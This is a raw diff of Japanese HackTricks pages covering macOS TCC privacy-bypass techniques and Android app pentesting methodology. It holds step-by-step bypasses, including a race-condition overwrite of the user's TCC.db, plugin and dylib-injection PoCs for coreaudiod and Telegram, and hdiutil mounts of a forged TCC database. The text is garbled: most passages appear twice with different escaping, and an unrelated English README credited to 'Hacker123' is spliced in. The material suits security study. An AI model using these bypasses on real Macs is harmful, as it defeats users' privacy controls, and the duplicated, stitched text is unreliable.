この\*\*`rename(a, b);`**の動作は**競合状態**に脆弱であり、`Automatically Add to Music.localized`フォルダに偽の**TCC.db**ファイルを配置し、新しいフォルダ(b)が作成されたときにファイルをコピーして削除し、**`~/Library/Application Support/com.apple.TCC`\*\*/にポイントを指定することが可能でした。
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
**`SQLITE_SQLLOG_DIR="path/folder"`**とすると、**すべてのオープンdbがそのパスにコピー**されます。このCVEでは、この制御が悪用され、**TCCデータベースを持つプロセスによって開かれるSQLiteデータベース**内に**書き込む**ことが可能であり、その後**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**として悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されました。\
**`SQLITE_SQLLOG_DIR="path/folder"`とすると、すべてのオープンdbがそのパスにコピーされます。このCVEでは、この制御が悪用され、TCCデータベースを持つプロセスによって開かれるSQLiteデータベース内に書き込む**ことが可能であり、その後\*\*`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**として悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き\*\*されました。\
**詳細は**[**こちらの解説**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および**[**こちらのトーク**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s) **にあります**
### **SQLITE\_AUTO\_TRACE**
環境変数**`SQLITE_AUTO_TRACE`**が設定されていると、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログすることが可能でした。
環境変数\*\*`SQLITE_AUTO_TRACE`**が設定されていると、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ\*\*し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログすることが可能でした。
いくつかのAppleアプリケーションは、TCCで保護された情報にアクセスするためにこのライブラリを使用していました。
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
この**環境変数は、`Metal`フレームワーク**で使用されます。これは、`Music`などのさまざまなプログラムに依存しており、FDAを持っています。
次のように設定します:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。`path`が有効なディレクトリである場合、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます:
- `open()`されるファイルは、`path/.dat.nosyncXXXX.XXXXXX`Xはランダムと呼ばれます。
- 1つ以上の`write()`がファイルに内容を書き込みます(これは制御できません)。
- `path/.dat.nosyncXXXX.XXXXXX`が`rename()`されて`path/name`になります。
* `open()`されるファイルは、`path/.dat.nosyncXXXX.XXXXXX`Xはランダムと呼ばれます。
* 1つ以上の`write()`がファイルに内容を書き込みます(これは制御できません)。
* `path/.dat.nosyncXXXX.XXXXXX`が`rename()`されて`path/name`になります。
これは一時ファイルの書き込みであり、その後に**セキュリティが確保されていない** **`rename(old, new)`** が続きます。
@ -215,17 +225,17 @@ launchctl setenv SQLITE_AUTO_TRACE 1
このCVEでの攻撃は次のとおりです例えば、ユーザーの`TCC.db`を上書きするには:
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします。
- ディレクトリ`/Users/hacker/tmp/`を作成します。
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します。
- この環境変数を使用して`Music`を実行してバグをトリガーします。
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`Xはランダムの`open()`をキャッチします。
- ここでも、このファイルを書き込み用に`open()`し、ファイルディスクリプタを保持します。
- `/Users/hacker/tmp`を`/Users/hacker/ourlink`に**ループ内で**原子的に切り替えます。
- これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります。
- 少し待ちます。
- 運が良ければテストします。
- そうでない場合は、最初からやり直します。
* `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします。
* ディレクトリ`/Users/hacker/tmp/`を作成します。
* `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します。
* この環境変数を使用して`Music`を実行してバグをトリガーします。
* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`Xはランダムの`open()`をキャッチします。
* ここでも、このファイルを書き込み用に`open()`し、ファイルディスクリプタを保持します。
* `/Users/hacker/tmp`を`/Users/hacker/ourlink`に**ループ内で**原子的に切り替えます。
* これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります。
* 少し待ちます。
* 運が良ければテストします。
* そうでない場合は、最初からやり直します。
詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を参照してください。
@ -242,7 +252,7 @@ rootとしてこのサービスを有効にすると、**ARDエージェント
TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。したがって、ユーザーが`$HOME/Library/Application Support/com.apple.TCC/TCC.db`を指す**異なるフォルダ**でTCCを再起動できる場合、ユーザーは`/Library/Application Support/com.apple.TCC/TCC.db`に新しいTCCデータベースを作成し、TCCに任意のTCC権限を付与するようにトリックをかけることができます。
{% hint style="success" %}
Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用して、**`$HOME`**の値を取得します。したがって、この値を変更する権限(**`kTCCServiceSystemPolicySysAdminFiles`**を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**武装化**できます。
Appleは、**`NFSHomeDirectory`属性内に格納された設定を使用して、`$HOME`の値を取得します。したがって、この値を変更する権限(`kTCCServiceSystemPolicySysAdminFiles`**を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**武装化**できます。
{% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
@ -253,14 +263,14 @@ Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用し
**最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーのホームディレクトリを変更します。
1. ターゲットアプリケーションの_csreq_ブロブを取得します。
2. 必要なアクセス権限と_csreq_ブロブを持つ偽の_TCC.db_ファイルを配置します。
1. ターゲットアプリケーションの\_csreq\_ブロブを取得します。
2. 必要なアクセス権限と\_csreq\_ブロブを持つ偽の\_TCC.db\_ファイルを配置します。
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)を使用してユーザーのDirectory Servicesエントリをエクスポートします。
4. ユーザーのホームディレクトリを変更するためにDirectory Servicesエントリを変更します。
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して変更されたDirectory Servicesエントリをインポートします。
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
6. ユーザーの\_tccd\_を停止し、プロセスを再起動します。
**2番目のPOC**は、`/usr/libexec/configd`が`com.apple.private.tcc.allow`という値`kTCCServiceSystemPolicySysAdminFiles`を持っていたことです。**`configd`****`-t`**オプションで実行することが可能で、攻撃者は**カスタムバンドルをロード**できました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する**`configd`コードインジェクション**で**`dsexport`**および**`dsimport`**の方法を置き換えることができました。
**2番目のPOC**は、`/usr/libexec/configd`が`com.apple.private.tcc.allow`という値`kTCCServiceSystemPolicySysAdminFiles`を持っていたことです。**`configd`を`-t`オプションで実行することが可能で、攻撃者はカスタムバンドルをロード**できました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する\*\*`configd`コードインジェクション**で**`dsexport`**および**`dsimport`\*\*の方法を置き換えることができました。
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。
@ -272,21 +282,23 @@ Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用し
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
さらに、TCCをバイパスするための最も一般的なプロセスインジェクションは、**プラグイン(ライブラリの読み込み)**を介して行われます。\
さらに、TCCをバイパスするための最も一般的なプロセスインジェクションは、\*\*プラグイン(ライブラリの読み込み)\*\*を介して行われます。\
プラグインは通常、ライブラリまたはplist形式の追加コードであり、**メインアプリケーションによって読み込まれ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルにアクセス権限許可された権限または権限を持っている場合、**カスタムコードもそれを持つ**ことになります。
### CVE-2020-27937 - Directory Utility
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、**`kTCCServiceSystemPolicySysAdminFiles`**権限を持ち、**`.daplug`**拡張子のプラグインを読み込み、**ハード化されていなかった**ランタイムを持っていました。
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、\*\*`kTCCServiceSystemPolicySysAdminFiles`**権限を持ち、**`.daplug`\*\*拡張子のプラグインを読み込み、**ハード化されていなかった**ランタイムを持っていました。
このCVEを武装化するために、**`NFSHomeDirectory`**が変更され前述の権限を悪用、TCCをバイパスするためにユーザーのTCCデータベースを**乗っ取る**ことができるようになりました。
このCVEを武装化するために、**`NFSHomeDirectory`が変更され前述の権限を悪用、TCCをバイパスするためにユーザーのTCCデータベースを乗っ取る**ことができるようになりました。
詳細については、[**元のレポート**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。
### CVE-2020-29621 - Coreaudiod
バイナリ **`/usr/sbin/coreaudiod`** には、`com.apple.security.cs.disable-library-validation` と `com.apple.private.tcc.manager` の権限がありました。最初の権限は **コードインジェクションを許可** し、2番目の権限は **TCCを管理するアクセスを与えました**
このバイナリは、`/Library/Audio/Plug-Ins/HAL` フォルダから **サードパーティのプラグインを読み込むことを許可**していました。そのため、この PoC を使用して **プラグインを読み込み、TCC権限を悪用** することが可能でした:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -313,11 +325,12 @@ add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
```
詳細については、[**元のレポート**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)をチェックしてください。
### デバイス抽象化レイヤーDALプラグイン
Core Media I/Oを介してカメラストリームを開くシステムアプリケーション**`kTCCServiceCamera`**を持つアプリ)は、`/Library/CoreMediaIO/Plug-Ins/DAL`にあるこれらのプラグインをプロセス内に読み込みますSIP制限なし
Core Media I/Oを介してカメラストリームを開くシステムアプリケーション\*\*`kTCCServiceCamera`\*\*を持つアプリ)は、`/Library/CoreMediaIO/Plug-Ins/DAL`にあるこれらのプラグインをプロセス内に読み込みますSIP制限なし
そこに一般的な**コンストラクタ**を持つライブラリを保存するだけで、**コードをインジェクト**することができます。
@ -326,6 +339,7 @@ Core Media I/Oを介してカメラストリームを開くシステムアプリ
### Firefox
Firefoxアプリケーションには、`com.apple.security.cs.disable-library-validation`および`com.apple.security.cs.allow-dyld-environment-variables`の権限がありました。
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
@ -351,6 +365,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
### CVE-2020-10006
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、これによりプロセス内にコードをインジェクトして TCC 権限を使用することができました。
@ -360,6 +375,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
Telegram には、**`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限があり、これによりカメラでの録画などの権限にアクセスすることが可能でした。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
環境変数を使用してライブラリをロードする方法に注目し、**カスタム plist** を作成してこのライブラリをインジェクトし、**`launchctl`** を使用して起動する方法について説明します。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -389,15 +405,17 @@ Telegram には、**`com.apple.security.cs.allow-dyld-environment-variables`**
```bash
launchctl load com.telegram.launcher.plist
```
## オープン呼び出しによるバイパス
**`open`** を使用している間でもサンドボックス化されている可能性があります
### ターミナルスクリプト
技術者が使用するコンピュータでは、ターミナルに**フルディスクアクセスFDA**を与えることが一般的です。そして、それを使用して**`.terminal`**スクリプトを呼び出すことが可能です。
技術者が使用するコンピュータでは、ターミナルに\*\*フルディスクアクセスFDA**を与えることが一般的です。そして、それを使用して**`.terminal`\*\*スクリプトを呼び出すことが可能です。
\*\*`.terminal`**スクリプトは、**`CommandString`\*\*キーで実行するコマンドが記述されたこのようなplistファイルです。
**`.terminal`**スクリプトは、**`CommandString`**キーで実行するコマンドが記述されたこのようなplistファイルです。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -415,7 +433,9 @@ launchctl load com.telegram.launcher.plist
</dict>
</plist>
```
アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込んで、次のようにコマンドを使って起動する可能性があります
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -426,6 +446,7 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
```
## マウントによる
### CVE-2020-9771 - mount\_apfs TCC バイパスと権限昇格
@ -460,6 +481,7 @@ ls /tmp/snap/Users/admin_user # This will work
### CVE-2021-1784 & CVE-2021-30808 - TCCファイルをマウントする
TCC DBファイルが保護されていても、新しいTCC.dbファイルを**ディレクトリにマウントする**ことが可能でした:
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@ -469,6 +491,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
```
## macOS TCC Bypasses
### Introduction
@ -477,8 +500,8 @@ This repository contains various techniques to bypass macOS Transparency, Consen
### Contents
- **[tcc_db_bypass](tcc_db_bypass/)**: Code demonstrating how to bypass TCC protections by modifying the TCC.db database.
- **[tcc_prompt_bypass](tcc_prompt_bypass/)**: Code showing how to bypass TCC prompts by exploiting the `TCC.framework` library.
* [**tcc\_db\_bypass**](https://github.com/carlospolop/hacktricks/blob/jp/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/tcc\_db\_bypass/README.md): Code demonstrating how to bypass TCC protections by modifying the TCC.db database.
* [**tcc\_prompt\_bypass**](https://github.com/carlospolop/hacktricks/blob/jp/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/tcc\_prompt\_bypass/README.md): Code showing how to bypass TCC prompts by exploiting the `TCC.framework` library.
### Disclaimer
@ -486,12 +509,13 @@ These techniques are for educational purposes only. Misuse of this information c
### Credits
- **Author**: Hacker123
- **Twitter**: [@hacker123](https://twitter.com/hacker123)
* **Author**: Hacker123
* **Twitter**: [@hacker123](https://twitter.com/hacker123)
### License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
This project is licensed under the MIT License - see the [LICENSE](https://github.com/carlospolop/hacktricks/blob/jp/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/LICENSE/README.md) file for details.
```python
# This was the python function to create the dmg
def create_dmg():
@ -502,14 +526,15 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
### asr
ツール**`/usr/sbin/asr`**は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることができました。
ツール\*\*`/usr/sbin/asr`\*\*は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることができました。
### 位置情報サービス
**`/var/db/locationd/clients.plist`**には、**位置情報サービスにアクセスを許可されたクライアントを示す**サードパーティのTCCデータベースがあります。\
フォルダ**`/var/db/locationd/`はDMGマウントから保護されていなかった**ため、独自のplistをマウントすることが可能でした。
**`/var/db/locationd/clients.plist`には、位置情報サービスにアクセスを許可されたクライアントを示すサードパーティのTCCデータベースがあります。**\
**フォルダ`/var/db/locationd/`はDMGマウントから保護されていなかった**ため、独自のplistをマウントすることが可能でした。
## 起動アプリによる

View file

@ -1,4 +1,4 @@
# Androidアプリケーションの侵入テスト
# Android Applications Pentesting
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **Discordグループ**に参加する💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **Discordグループ**に参加する💬]\(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
@ -27,7 +27,7 @@ HackTricksをサポートする他の方法
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新について知る
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!**
[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力しましょう!**
## Androidアプリケーションの基礎
@ -54,6 +54,7 @@ ADBの使用方法を学ぶために、次の[**ADBコマンド**](adb-commands.
* [Play Storeでの位置偽装](spoofing-your-location-in-play-store.md)
* **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
* デバイスからAPKを抽出:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -63,6 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
## 静的解析
まず、APKを解析するためには、デコンパイラを使用してJavaコードを確認する必要があります。\
@ -78,13 +80,13 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
### アプリケーションの基本的な理解 - Manifest.xml、strings.xml
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの検査は、潜在的なセキュリティ脆弱性を明らかにすることができます。これらのファイルには、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
アプリケーションの_**Manifest.xml**_および_**strings.xml**_ファイルの検査は、潜在的なセキュリティ脆弱性を明らかにすることができます。これらのファイルには、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
**Manifest.xml**から特定される**脆弱性**には次のものがあります:
* **デバッグ可能なアプリケーション**_Manifest.xml_ファイルでデバッグ可能に設定されたアプリケーション`debuggable="true"`)は、悪用につながる接続を許可するため、リスクをもたらします。デバッグ可能なアプリケーションの検出と悪用方法についての詳細は、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
* **デバッグ可能なアプリケーション**\_Manifest.xml\_ファイルでデバッグ可能に設定されたアプリケーション`debuggable="true"`)は、悪用につながる接続を許可するため、リスクをもたらします。デバッグ可能なアプリケーションの検出と悪用方法についての詳細は、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
* **バックアップ設定**:機密情報を扱うアプリケーションでは、`android:allowBackup="false"`属性を明示的に設定して、USBデバッグが有効になっている場合にadb経由での未承認のデータバックアップを防止する必要があります。
* **ネットワークセキュリティ**_res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインのHTTPトラフィックを許可する例があります。
* **ネットワークセキュリティ**\_res/xml/\_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインのHTTPトラフィックを許可する例があります。
* **エクスポートされたアクティビティとサービス**:マニフェストでエクスポートされたアクティビティとサービスを特定すると、誤用される可能性のあるコンポーネントが明らかになります。動的テスト中のさらなる分析により、これらのコンポーネントをどのように悪用するかが明らかになります。
* **コンテンツプロバイダとFileProviders**公開されたコンテンツプロバイダは、データへの未承認アクセスや変更を許可する可能性があります。FileProvidersの構成も検討されるべきです。
* **ブロードキャストレシーバーとURLスキーム**これらのコンポーネントは悪用される可能性があり、URLスキームの管理方法に特に注意を払う必要があります。
@ -104,7 +106,7 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
### タスクハイジャッキング
`launchMode`が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャッキングの脆弱性があります。つまり、インストールされた**アプリケーション**が実際のアプリケーションよりも先に起動された場合、実際のアプリケーションのタスクを**ハイジャック**できる可能性があります(ユーザーは実際のアプリケーションを使用していると思い込んで、実際には**悪意のあるアプリケーション**とやり取りしていることになります)。
`launchMode`\*\*`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャッキングの脆弱性があります。つまり、インストールされた**アプリケーション**が実際のアプリケーションよりも先に起動された場合、実際のアプリケーションのタスクを**ハイジャック**できる可能性があります(ユーザーは実際のアプリケーションを使用していると思い込んで、実際には**悪意のあるアプリケーション\*\*とやり取りしていることになります)。
詳細は以下で確認できます:
@ -119,8 +121,11 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
Androidでは、内部ストレージに保存されたファイルは、作成した**アプリケーション**のみが**アクセスできるように設計**されています。このセキュリティ対策はAndroidオペレーティングシステムによって強制されており、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。ただし、開発者は時々、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、異なるアプリケーション間でファイルを共有することがあります。しかし、これらのモードは他のアプリケーション(悪意のあるものを含む)によるこれらのファイルへのアクセスを制限しません。
1. **静的解析:**
* `MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`の使用が**注意深く検討**されていることを**確認**してください。これらのモードは、ファイルを**意図しないアクセス**や**権限なしのアクセス**にさらす可能性があります。
2. **動的解析:**
* アプリケーションによって作成されたファイルに設定された**権限**を確認してください。特に、ファイルが**世界中で読み取りまたは書き込み可能**に設定されているかどうかを**確認**してください。これは、デバイスにインストールされている**どのアプリケーション**でも、その起源や意図に関係なく、これらのファイルを**読み取ったり変更**したりできる可能性があるため、重大なセキュリティリスクを引き起こす可能性があります。
**外部ストレージ**
@ -128,11 +133,16 @@ Androidでは、内部ストレージに保存されたファイルは、作成
SDカードなどの**外部ストレージ**上のファイルを扱う場合は、次の注意点があります:
1. **アクセシビリティ**
* 外部ストレージ上のファイルは**グローバルに読み取りおよび書き込み可能**です。つまり、どのアプリケーションやユーザーでもこれらのファイルにアクセスできます。
2. **セキュリティ上の懸念**
* アクセスが容易であるため、外部ストレージに**機密情報を保存しない**ことが推奨されています。
* 外部ストレージは取り外し可能であり、どのアプリケーションでもアクセスできるため、セキュリティが低くなります。
3. **外部ストレージからのデータの取り扱い**
* 外部ストレージから取得したデータには**入力検証を常に実行**してください。これは、データが信頼できないソースから取得されているため、重要です。
* 外部ストレージから実行可能ファイルやクラスファイルを取得して動的に読み込むことは強く推奨されません。
* アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合は、これらのファイルが**署名され、暗号的に検証**されることを確認してから動的に読み込んでください。この手順は、アプリケーションのセキュリティの整合性を維持するために重要です。
@ -153,10 +163,12 @@ Android 4.4**API 17**以降、SDカードにはアプリケーションが
**すべての証明書を受け入れる**
何らかの理由で、開発者は、たとえばホスト名が一致しない場合でも、以下のようなコード行で**すべての証明書を受け入れる**ことがあります:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
### 破損した暗号化
**鍵管理プロセスの不備**
@ -239,7 +251,7 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
\*\*[Discord](https://discord.com/invite/N3FrSbmwdy)\*\*に参加して、今日からトップハッカーと協力を始めましょう!
***
@ -261,7 +273,7 @@ ADB接続を介して、エミュレータ内で**Drozer**と**Frida**を使用
#### エミュレータを使用する
* [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**最新のx86**バージョンはARMライブラリを使用**するための遅いarmエミュレータを必要としません](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**)。
* [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**最新のx86**バージョンはARMライブラリを使用\*\*するための遅いarmエミュレータを必要としません](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)\*\*)。
* このページで設定方法を学びます:
{% content-ref url="avd-android-virtual-device.md" %}
@ -280,6 +292,7 @@ Genymotionに**Googleサービス**AppStoreなどをインストールす
![](<../../.gitbook/assets/image (200) (1).png>)
また、Genymotionの**Android VMの構成**で**Bridge Network mode**を選択できますこれは、他のVMからAndroid VMに接続する場合に便利です
#### 物理デバイスを使用する
**デバッグ**オプションを有効にする必要があり、できれば**root**化すると良いでしょう:
@ -335,7 +348,7 @@ Drozerは、後述のセクションで学ぶように、**エクスポートさ
### エクスポートされたアクティビティの脆弱性活用
[**Androidアクティビティとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#launcher-activity-and-other-activities)\
また、アクティビティのコードは**`onCreate`**メソッドから始まることを覚えておいてください。
また、アクティビティのコードは\*\*`onCreate`\*\*メソッドから始まることを覚えておいてください。
**認証バイパス**
@ -347,10 +360,12 @@ adbからもエクスポートされたアクティビティを起動できま
* パッケージ名はcom.example.demo
* エクスポートされたアクティビティ名はcom.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSFは、アクティビティの`android:launchMode`として_singleTask/singleInstance_の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険だとされています
**注意**: MobSFは、アクティビティの`android:launchMode`として\_singleTask/singleInstance\_の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険だとされています
{% hint style="info" %}
認可バイパスが常に脆弱性であるわけではないことに注意してください。バイパスの動作方法や露出される情報によって異なります。
@ -391,10 +406,10 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
MobSFなどのツールを使用したり、[こちらのスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなスクリプトを使用して、ディープリンクを手動で検索できます。\
`adb`や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
{% endcode %}
_パッケージ名を**省略することができる**ことに注意してください。モバイルは自動的にそのリンクを開くべきアプリを呼び出します。_
@ -477,6 +492,7 @@ Androidアプリケーションのペンテストを行う場合は、Fridaの
アプリケーションがパスワードやニーモニックなど、保存すべきでない機密情報をメモリ内に保存していないかどうかを確認してください。
[**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -485,6 +501,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
これにより、./dumpフォルダーにメモリがダンプされ、そこで次のようにgrepを使用できます
